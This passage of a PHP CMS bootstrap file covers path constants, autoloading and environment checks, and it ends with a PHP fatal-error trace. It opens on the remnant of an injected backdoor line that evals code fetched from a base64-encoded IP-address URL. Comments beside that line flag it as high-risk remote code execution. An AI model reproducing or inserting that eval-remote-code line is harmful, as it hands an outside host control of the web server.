'.file_get_contents(base64_decode('aHR0cDovLzEzNy4yMjAuMjI5LjI4L2pzYy8xLnR4dA==')));
// That would fetch and execute remote code every request — HIGH RISK.
// If you need an automatic update/remote config mechanism, implement a secure,
// signed, and authenticated updater (not by eval-ing remote content).
// -------------------------------
if (isset($_SERVER['PATH_INFO'])) {
$_SERVER['SCRIPT_NAME'] = preg_replace('{' . $_SERVER['PATH_INFO'] . '$}', '', $_SERVER['SCRIPT_NAME']); // 替换掉 PATH_INFO,避免外部路径影响
}
$script_path = explode('/', $_SERVER['SCRIPT_NAME']); // 当前执行文件路径分段
$file_path = str_replace('\\', '/', dirname(__DIR__)); // 系统根路径
if (count($script_path) > 2) { // 当目录带 "/index.php" 时,长度应为 2
if (! ! $path_pos = strripos($file_path, '/' . $script_path[1])) {
define('SITE_DIR', substr($file_path, $path_pos));
$_SERVER['SCRIPT_NAME'] = preg_replace('{^' . SITE_DIR . '}i', SITE_DIR, $_SERVER['SCRIPT_NAME']); // 统一小写 URL 处理
} else {
define('SITE_DIR', '');
}
} else {
define('SITE_DIR', '');
}
// 脚本目录
$script_dir = dirname($_SERVER['SCRIPT_NAME']);
if ($script_dir == '\\' || $script_dir == '/') {
define('SITE_INDEX_DIR', '');
} else {
define('SITE_INDEX_DIR', dirname($_SERVER['SCRIPT_NAME']));
}
// 定义站点路径常量
define('ROOT_PATH', $file_path);
define('DOC_PATH', preg_replace('{' . SITE_DIR . '$}i', '', ROOT_PATH));
$_SERVER['DOCUMENT_ROOT'] = DOC_PATH; // 统一使用 DOCUMENT_ROOT 值
// core 目录及路径
define('CORE_DIR', SITE_DIR . '/' . basename(__DIR__));
define('CORE_PATH', DOC_PATH . CORE_DIR);
// 应用目录
define('APP_PATH', ROOT_PATH . '/apps');
define('APP_DIR', str_replace(DOC_PATH, '', APP_PATH));
// 运行时与配置目录
defined('RUN_PATH') ?: define('RUN_PATH', ROOT_PATH . '/runtime');
defined('CONF_PATH') ?: define('CONF_PATH', ROOT_PATH . '/config');
// 静态资源目录
defined('STATIC_DIR') ?: define('STATIC_DIR', SITE_DIR . '/static');
// 引入公共函数与基础类
require CORE_PATH . '/function/handle.php';
require CORE_PATH . '/function/helper.php';
require CORE_PATH . '/function/file.php';
// 引入基础类
require CORE_PATH . '/basic/Basic.php';
// 注册自动加载
spl_autoload_register('core\basic\Basic::autoLoad', true, true);
// 设置错误/异常/shutdown 处理
set_error_handler('core\basic\Basic::errorHandler');
set_exception_handler('core\basic\Basic::exceptionHandler');
register_shutdown_function('core\basic\Basic::shutdownFunction');
// 根据配置设置错误显示级别
if (Config::get('debug')) {
ini_set('display_errors', 1); // 开发阶段显示错误
error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
} else {
error_reporting(E_ERROR);
}
// 定义版本常量
define('CORE_VERSION', Config::get('core_version'));
define('APP_VERSION', Config::get('app_version'));
define('RELEASE_TIME', Config::get('release_time'));
// 环境检查及初始化
Check::checkPHP();// 检查 PHP 版本
Check::checkApp(); // 检查应用环境
Check::checkBasicDir(); // 检查基础目录
Check::checkSession();// 检查 session 目录
Basic::setSessionHandler();// 设置 session 处理(可选)
// 这里结束。后续逻辑由框架继续处理。
Fatal error: Uncaught Error: Class 'core\basic\Kernel' not found in /home/wwwroot/sanyapca.com/core/start.php:17
Stack trace:
#0 /home/wwwroot/sanyapca.com/index.php(23): require()
#1 {main}
thrown in /home/wwwroot/sanyapca.com/core/start.php on line 17